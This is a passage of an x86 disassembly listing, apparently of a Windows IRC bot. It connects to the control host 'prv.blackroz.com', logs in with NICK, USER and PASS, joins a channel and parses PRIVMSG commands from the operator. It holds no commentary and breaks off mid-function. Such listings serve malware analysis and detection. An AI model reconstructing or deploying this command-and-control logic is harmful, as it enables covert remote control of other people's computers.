		jnz	short loc_40738D
		lea	eax, [ebp+var_478]
		push	eax
		call	sub_4031BC
		pop	ecx


loc_40738D:				; CODE XREF: sub_407041+335j
					; sub_407041+33Dj
		push	0B80h
		push	esi
		push	offset dword_42E688
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_478]
		push	esi
		push	eax
		push	offset sub_40322D
		push	esi
		push	esi
		call	dword_418048	; CreateThread
		imul	ebx, 234h
		cmp	eax, esi
		mov	dword_42F41C[ebx], eax
		jnz	short loc_4073D3
		call	sub_40CB5F
		mov	dword_481D5C, eax


loc_4073D3:				; CODE XREF: sub_407041+386j
		push	7Fh
		mov	ebx, offset dword_481BF4
		push	offset aPrv_blackroz_c ; "prv.blackroz.com"
		push	ebx
		call	sub_40C720
		mov	eax, dword_41DE38
		push	3Fh
		mov	edi, offset dword_481C74
		push	offset aPrv	; "#prv#"
		push	edi
		mov	dword_481D44, eax
		call	sub_40C720
		push	3Fh
		mov	esi, offset dword_481CB4
		push	offset aPr__	; "pr.."
		push	esi
		call	sub_40C720
		add	esp, 24h
		and	dword_481D48, 0


loc_40741D:				; CODE XREF: sub_407041+485j
					; sub_407041+491j ...
		and	[ebp+var_4], 0


loc_407421:				; CODE XREF: sub_407041+43Bj
		cmp	dword_42D958, 0
		jnz	short loc_407441
		lea	eax, [ebp+var_24]
		push	0
		push	eax
		call	dword_42D7CC	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_407441
		push	7530h
		jmp	short loc_40746F
; ---------------------------------------------------------------------------


loc_407441:				; CODE XREF: sub_407041+3E7j
					; sub_407041+3F7j
		and	dword_481D58, 0
		push	offset dword_481BF0
		call	sub_40752C
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_407518
		cmp	dword_481D58, 0
		jz	short loc_40746A
		dec	[ebp+var_4]


loc_40746A:				; CODE XREF: sub_407041+424j
		push	0BB8h


loc_40746F:				; CODE XREF: sub_407041+3FEj
		call	dword_418040	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_407421
		cmp	[ebp+var_8], 2
		jz	loc_407518
		cmp	[ebp+var_10], 0
		jz	short loc_4074CB
		push	7Fh
		push	offset aPrv_blackroz_c ; "prv.blackroz.com"
		push	ebx
		call	sub_40C720
		mov	eax, dword_41DE38
		push	3Fh
		push	offset aPrv	; "#prv#"
		push	edi
		mov	dword_481D44, eax
		call	sub_40C720
		push	3Fh
		push	offset aPr__	; "pr.."
		push	esi
		call	sub_40C720
		add	esp, 24h
		and	[ebp+var_10], 0
		jmp	loc_40741D
; ---------------------------------------------------------------------------


loc_4074CB:				; CODE XREF: sub_407041+44Bj
		cmp	byte_41DEE4, 0
		jz	loc_40741D
		push	7Fh
		push	offset byte_41DEE4
		push	ebx
		call	sub_40C720
		mov	eax, dword_41DE3C
		push	3Fh
		push	offset aPrv_0	; "#prv#"
		push	edi
		mov	dword_481D44, eax
		call	sub_40C720
		push	3Fh
		push	offset aPr___0	; "pr.."
		push	esi
		call	sub_40C720
		add	esp, 24h
		mov	[ebp+var_10], 1
		jmp	loc_40741D
; ---------------------------------------------------------------------------


loc_407518:				; CODE XREF: sub_407041+417j
					; sub_407041+441j
		call	sub_40C225


loc_40751D:				; CODE XREF: sub_407041+A9j
					; sub_407041+B9j
		call	dword_42D7E4	; WSACleanup


loc_407523:				; CODE XREF: sub_407041+9Cj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_407041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40752C	proc near		; CODE XREF: sub_407041+40Cp

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_407551:				; CODE XREF: sub_40752C+E6j
					; sub_40752C+125j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_42D878	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_4057D9
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40767D
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_40CC40
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_41DE5C
		push	dword_41DE58
		push	eax
		call	sub_406777
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_42F420
		push	edi
		push	eax
		call	sub_40C720
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_42D8F4	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_42F414[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_42D824	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407617
		push	esi
		call	dword_42D90C	; closesocket
		call	sub_405802
		push	7D0h


loc_40760C:				; CODE XREF: sub_40752C+135j
		call	dword_418040	; Sleep
		jmp	loc_407551
; ---------------------------------------------------------------------------


loc_407617:				; CODE XREF: sub_40752C+CDj
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_407681
		add	esp, 20h
		mov	edi, eax
		push	esi
		call	dword_42D90C	; closesocket
		test	edi, edi
		jz	loc_407551
		cmp	edi, 1
		jnz	short loc_407663
		push	0DBBA0h
		jmp	short loc_40760C
; ---------------------------------------------------------------------------


loc_407663:				; CODE XREF: sub_40752C+12Ej
		cmp	edi, 2
		jnz	loc_407551
		push	[ebp+var_34]
		call	sub_40C378
		pop	ecx
		push	edi
		pop	eax


loc_407677:				; CODE XREF: sub_40752C+153j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40767D:				; CODE XREF: sub_40752C+5Aj
		xor	eax, eax
		jmp	short loc_407677
sub_40752C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407681	proc near		; CODE XREF: sub_40752C+112p

var_1BA0	= byte ptr -1BA0h
var_BA0		= byte ptr -0BA0h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1BA0h
		call	sub_40CCA0
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40769F:				; CODE XREF: sub_407681+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40769F
		cmp	byte_481D55, bl
		jz	short loc_4076C6
		push	offset byte_481D55
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40450F
		add	esp, 0Ch


loc_4076C6:				; CODE XREF: sub_407681+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_406777
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_40C6C3
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_40CBC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_42D8C4	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407730
		push	[ebp+arg_0]
		call	dword_42D90C	; closesocket
		push	1388h
		call	dword_418040	; Sleep


loc_407729:				; CODE XREF: sub_407681+D9j
					; sub_407681+153j
		xor	eax, eax


loc_40772B:				; CODE XREF: sub_407681+16Fj
					; sub_407681+177j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407730:				; CODE XREF: sub_407681+92j
					; sub_407681+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1BA0]
		push	esi
		push	ebx
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		lea	eax, [ebp+var_1BA0]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_42D890	; recv
		test	eax, eax
		jle	short loc_407729
		lea	eax, [ebp+var_BA0]
		push	eax
		lea	eax, [ebp+var_1BA0]
		push	eax
		call	sub_40526A
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_407730
		lea	edi, [ebp+var_BA0]


loc_407781:				; CODE XREF: sub_407681+165j
		xor	esi, esi
		inc	esi


loc_407784:				; CODE XREF: sub_407681+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_4077FD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_4077C7
		push	7D0h
		call	dword_418040	; Sleep
		jmp	short loc_407784
; ---------------------------------------------------------------------------


loc_4077C7:				; CODE XREF: sub_407681+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_4077F5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_4077ED
		cmp	esi, 0FFFFFFFFh
		jz	loc_407729
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_407781
		jmp	loc_407730
; ---------------------------------------------------------------------------


loc_4077ED:				; CODE XREF: sub_407681+14Ej
		xor	eax, eax
		inc	eax
		jmp	loc_40772B
; ---------------------------------------------------------------------------


loc_4077F5:				; CODE XREF: sub_407681+149j
		push	2
		pop	eax
		jmp	loc_40772B
sub_407681	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077FD	proc near		; CODE XREF: sub_407681+12Ap

var_D30		= byte ptr -0D30h
var_B30		= byte ptr -0B30h
var_930		= byte ptr -930h
var_8CF		= byte ptr -8CFh
var_8CE		= byte ptr -8CEh
var_8CB		= byte ptr -8CBh
var_8C2		= byte ptr -8C2h
var_8C0		= byte ptr -8C0h
var_8BE		= byte ptr -8BEh
var_8BD		= byte ptr -8BDh
var_830		= byte ptr -830h
var_7B0		= byte ptr -7B0h
var_7AC		= byte ptr -7ACh
var_754		= dword	ptr -754h
var_750		= byte ptr -750h
var_744		= dword	ptr -744h
var_740		= byte ptr -740h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= dword	ptr -6B0h
var_6AC		= byte ptr -6ACh
var_640		= dword	ptr -640h
var_63C		= byte ptr -63Ch
var_60C		= byte ptr -60Ch
var_5EC		= dword	ptr -5ECh
var_5C0		= dword	ptr -5C0h
var_5BC		= dword	ptr -5BCh
var_5B8		= dword	ptr -5B8h
var_5B4		= dword	ptr -5B4h
var_5B0		= dword	ptr -5B0h
var_5AC		= dword	ptr -5ACh
var_5A8		= byte ptr -5A8h
var_58C		= dword	ptr -58Ch
var_588		= dword	ptr -588h
var_584		= byte ptr -584h
var_508		= byte ptr -508h
var_4F8		= dword	ptr -4F8h
var_4F4		= byte ptr -4F4h
var_480		= byte ptr -480h
var_474		= byte ptr -474h
var_430		= byte ptr -430h
var_420		= byte ptr -420h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
var_3F4		= byte ptr -3F4h
var_3E8		= byte ptr -3E8h
var_3A0		= byte ptr -3A0h
var_384		= byte ptr -384h
var_37C		= dword	ptr -37Ch
var_378		= dword	ptr -378h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= dword	ptr -314h
var_310		= dword	ptr -310h
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= dword	ptr -2F0h
var_2EC		= dword	ptr -2ECh
var_2E8		= dword	ptr -2E8h
var_2E4		= byte ptr -2E4h
var_E4		= byte ptr -0E4h
var_D8		= byte ptr -0D8h
var_D4		= dword	ptr -0D4h
var_C8		= byte ptr -0C8h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_64		= byte ptr -64h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		sub	esp, 0D30h
		push	ebx
		push	esi
		push	edi
		mov	edi, 200h
		xor	ebx, ebx
		push	edi
		lea	eax, [ebp+var_2E4]
		push	ebx
		push	eax
		mov	[ebp+var_24], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A8], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_B0], ebx
		call	sub_40CC40
		push	1Bh
		lea	eax, [ebp+var_5A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_40C720
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_407C50
		push	edi
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		call	sub_40CC40
		dec	edi
		lea	eax, [ebp+var_B30]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_40C720
		lea	eax, [ebp+var_B30]
		push	offset asc_41F928 ; " :"
		push	eax
		call	sub_40E4B0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_B30]
		push	edi
		push	eax
		lea	eax, [ebp+var_D30]
		push	eax
		call	sub_40C720
		mov	edi, offset asc_41F924 ; " "
		lea	eax, [ebp+var_D30]
		push	edi
		push	eax
		call	sub_40E6E9
		xor	esi, esi
		add	esp, 34h
		mov	[ebp+var_A4], eax
		inc	esi


loc_4078BC:				; CODE XREF: sub_4077FD+D3j
		push	edi
		push	ebx
		call	sub_40E6E9
		mov	[ebp+esi*4+var_A4], eax
		inc	esi
		pop	ecx
		cmp	esi, 20h
		pop	ecx
		jl	short loc_4078BC
		mov	edi, [ebp+var_A4]
		cmp	edi, ebx
		jz	loc_407C50
		cmp	[ebp+var_A0], ebx
		jz	loc_407C50
		push	100h
		lea	eax, [ebp+var_930]
		push	ebx
		push	eax
		call	sub_40CC40
		add	esp, 0Ch
		push	1Fh
		pop	edx


loc_407904:				; CODE XREF: sub_4077FD+13Bj
		lea	ecx, [ebp+edx*4+var_A4]
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_407937
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40793A
		cmp	[eax+2], bl
		jnz	short loc_40793A
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	edi, [ebp+var_A4]
		mov	[ebp+esi+var_930], 1
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_407937:				; CODE XREF: sub_4077FD+112j
		dec	edx
		jns	short loc_407904


loc_40793A:				; CODE XREF: sub_4077FD+117j
					; sub_4077FD+11Cj
		xor	esi, esi
		inc	esi
		cmp	[ebp+var_8BD], bl
		jz	short loc_407948
		mov	[ebp+var_8], esi


loc_407948:				; CODE XREF: sub_4077FD+146j
		cmp	[ebp+var_8C2], bl
		jz	short loc_407956
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], esi


loc_407956:				; CODE XREF: sub_4077FD+151j
		cmp	byte ptr [edi],	0Ah
		jz	short loc_407990
		push	7Fh
		lea	eax, [ebp+var_830]
		push	edi
		push	eax
		call	sub_40C720
		lea	eax, [edi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_40C720
		lea	eax, [ebp+var_C8]
		push	offset asc_41F920 ; "!"
		push	eax
		call	sub_40E6E9
		add	esp, 20h


loc_407990:				; CODE XREF: sub_4077FD+15Cj
		push	edi
		push	offset aPing	; "PING"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4079E1
		push	[ebp+var_A0]
		mov	byte ptr [edi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_409BEA
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 10h
		jmp	loc_409BEA
; ---------------------------------------------------------------------------


loc_4079E1:				; CODE XREF: sub_4077FD+1A2j
		mov	edi, [ebp+var_A0]
		push	edi
		push	offset a001	; "001"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B313
		push	edi
		push	offset a005	; "005"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B313
		push	edi
		push	offset a302	; "302"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407A53
		push	offset a@	; "@"
		push	[ebp+var_98]
		call	sub_40E4B0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409BEA
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_40C720
		add	esp, 0Ch
		jmp	loc_409BEA
; ---------------------------------------------------------------------------


loc_407A53:				; CODE XREF: sub_4077FD+223j
		push	edi
		push	offset a433	; "433"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407A91
		push	ebx
		push	dword_41DE5C
		push	dword_41DE58
		push	[ebp+arg_10]
		call	sub_406777
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		add	esp, 1Ch
		jmp	loc_409BEA
; ---------------------------------------------------------------------------


loc_407A91:				; CODE XREF: sub_4077FD+265j
		mov	edi, [ebp+arg_18]
		mov	[ebp+var_AC], 2
		mov	esi, 80h


loc_407AA3:				; CODE XREF: sub_4077FD+2CBj
		lea	eax, [ebp+var_830]
		push	eax
		push	edi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407AC0
		mov	[ebp+var_A8], 1


loc_407AC0:				; CODE XREF: sub_4077FD+2B7j
		add	edi, esi
		dec	[ebp+var_AC]
		jnz	short loc_407AA3
		mov	edi, [ebp+var_A0]
		push	edi
		push	offset aKick	; "KICK"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407BA9
		mov	edi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_407AEF:				; CODE XREF: sub_4077FD+371j
		cmp	[edi], bl
		jz	short loc_407B69
		push	7Fh
		lea	eax, [ebp+var_830]
		push	edi
		push	eax
		call	sub_40C720
		add	esp, 0Ch
		cmp	[ebp+var_98], ebx
		jz	short loc_407B69
		push	[ebp+var_98]
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407B69
		lea	eax, [ebp+var_C8]
		mov	[edi], bl
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41F8B0
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_C8]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40450F
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		add	esp, 20h


loc_407B69:				; CODE XREF: sub_4077FD+2F4j
					; sub_4077FD+30Ej ...
		add	edi, esi
		dec	[ebp+arg_24]
		jnz	loc_407AEF
		push	[ebp+var_98]
		push	[ebp+arg_10]
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407C50
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_407B9C:				; CODE XREF: sub_4077FD+5CDj
					; sub_4077FD+80Bj ...
		push	[ebp+arg_4]
		call	sub_40450F
		jmp	loc_40AB17
; ---------------------------------------------------------------------------


loc_407BA9:				; CODE XREF: sub_4077FD+2E2j
		push	edi
		push	offset aNick	; "NICK"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407CE5
		mov	eax, [ebp+var_9C]
		mov	edi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_407BD2:				; CODE XREF: sub_4077FD+427j
		lea	eax, [ebp+var_830]
		push	eax
		push	edi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407C1F
		lea	eax, [ebp+var_830]
		push	21h
		push	eax
		call	sub_40E610
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_407C1F
		push	[ebp+arg_24]
		lea	esi, [edi+2]
		mov	byte ptr [edi],	3Ah
		lea	eax, [esi-1]
		push	eax
		call	sub_40E3C0
		push	[ebp+arg_1C]
		push	esi
		call	sub_40E3D0
		add	esp, 10h
		mov	esi, 80h


loc_407C1F:				; CODE XREF: sub_4077FD+3E6j
					; sub_4077FD+3FDj
		add	edi, esi
		dec	[ebp+arg_0]
		jnz	short loc_407BD2
		cmp	[ebp+arg_24], ebx
		jz	short loc_407C50
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C8]
		push	eax
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407C58
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_40C720
		add	esp, 0Ch


loc_407C50:				; CODE XREF: sub_4077FD+54j
					; sub_4077FD+DDj ...
		xor	eax, eax
		inc	eax


loc_407C53:				; CODE XREF: sub_4077FD+23EFj
					; sub_4077FD+26E2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_407C58:				; CODE XREF: sub_4077FD+441j
		mov	esi, [ebp+arg_18]
		xor	edi, edi


loc_407C5D:				; CODE XREF: sub_4077FD+481j
		cmp	[esi], bl
		jz	short loc_407C74
		lea	eax, [ebp+var_830]
		push	eax
		push	esi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407C82


loc_407C74:				; CODE XREF: sub_4077FD+462j
		inc	edi
		add	esi, 80h
		cmp	edi, 2
		jl	short loc_407C5D
		jmp	short loc_407C50
; ---------------------------------------------------------------------------


loc_407C82:				; CODE XREF: sub_4077FD+475j
		lea	eax, [ebp+var_830]
		push	21h
		push	eax
		call	sub_40E610
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_407C50
		push	eax
		call	sub_40CBC0
		push	[ebp+arg_24]
		mov	esi, eax
		call	sub_40CBC0
		add	esi, eax
		pop	ecx
		cmp	esi, 7Eh
		pop	ecx
		ja	short loc_407C50
		push	[ebp+arg_0]
		shl	edi, 7
		push	[ebp+arg_24]
		add	edi, [ebp+arg_18]
		push	offset aSS_0	; ":%s%s"
		push	edi
		call	sub_40C6C3
		push	ebx
		lea	eax, [ebp+var_60C]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_404555
		add	esp, 24h
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_407CE5:				; CODE XREF: sub_4077FD+3BBj
		push	edi
		push	offset aPart	; "PART"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407D07
		push	edi
		push	offset aQuit	; "QUIT"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407D2E


loc_407D07:				; CODE XREF: sub_4077FD+4F7j
		mov	esi, [ebp+arg_18]
		xor	edi, edi


loc_407D0C:				; CODE XREF: sub_4077FD+52Fj
		cmp	[esi], bl
		jz	short loc_407D22
		push	[ebp+var_A4]
		push	esi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407D6E


loc_407D22:				; CODE XREF: sub_4077FD+511j
		inc	edi
		add	esi, 80h
		cmp	edi, 2
		jl	short loc_407D0C


loc_407D2E:				; CODE XREF: sub_4077FD+508j
		push	[ebp+var_A0]
		push	offset a353	; "353"
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407DCF
		push	[ebp+var_94]
		push	[ebp+arg_8]
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407C50
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1
		jmp	loc_407C50
; ---------------------------------------------------------------------------


loc_407D6E:				; CODE XREF: sub_4077FD+523j
		mov	eax, [ebp+arg_18]
		shl	edi, 7
		mov	[edi+eax], bl
		lea	eax, [ebp+var_C8]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	offset unk_41F860
		push	eax
		call	sub_40C6C3
		lea	eax, [ebp+var_2E4]
		push	eax
		call	sub_403145
		push	[ebp+var_A0]
		push	offset aPart	; "PART"
		call	sub_40D860
		add	esp, 18h
		test	eax, eax
		jnz	loc_407C50
		lea	eax, [ebp+var_2E4]
		push	eax
		mov	eax, [ebp+var_A4]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_407B9C
; ---------------------------------------------------------------------------


loc_407DCF:				; CODE XREF: sub_4077FD+545j
		push	[ebp+var_A0]
		mov	edi, offset aPrivmsg ; "PRIVMSG"
		push	edi
		call	sub_40D860
		pop	ecx
		mov	esi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_407E23
		push	[ebp+var_A0]
		push	esi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407E23
		push	[ebp+var_A0]
		push	offset dword_41F85C
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40B19B
		cmp	dword_41DE44, ebx
		jz	loc_40B19B


loc_407E23:				; CODE XREF: sub_4077FD+5ECj
					; sub_4077FD+5FEj
		push	[ebp+var_A0]
		push	edi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F27
		push	[ebp+var_A0]
		push	esi
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F27
		mov	eax, [ebp+var_98]
		inc	[ebp+var_94]
		mov	[ebp+var_24], 4
		mov	[ebp+var_9C], eax


loc_407E68:				; CODE XREF: sub_4077FD+7E3j
					; sub_4077FD+81Fj ...
		mov	eax, [ebp+var_24]
		mov	edi, eax
		shl	edi, 2
		lea	eax, [ebp+edi+var_A4]
		mov	ecx, [eax]
		lea	esi, [ecx+1]
		mov	[eax], esi
		mov	al, [ecx]
		cmp	al, byte_41DE50
		mov	[ebp+arg_C], esi
		jnz	loc_407C50
		push	esi
		push	offset dword_41F858
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B1A3
		push	esi
		push	offset dword_41F858
		call	sub_40D860
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40B1A3
		cmp	[ebp+var_A8], ebx
		jnz	short loc_407EDB
		push	[ebp+var_A0]
		push	offset dword_41F85C
		call	sub_40D860
		pop	ecx
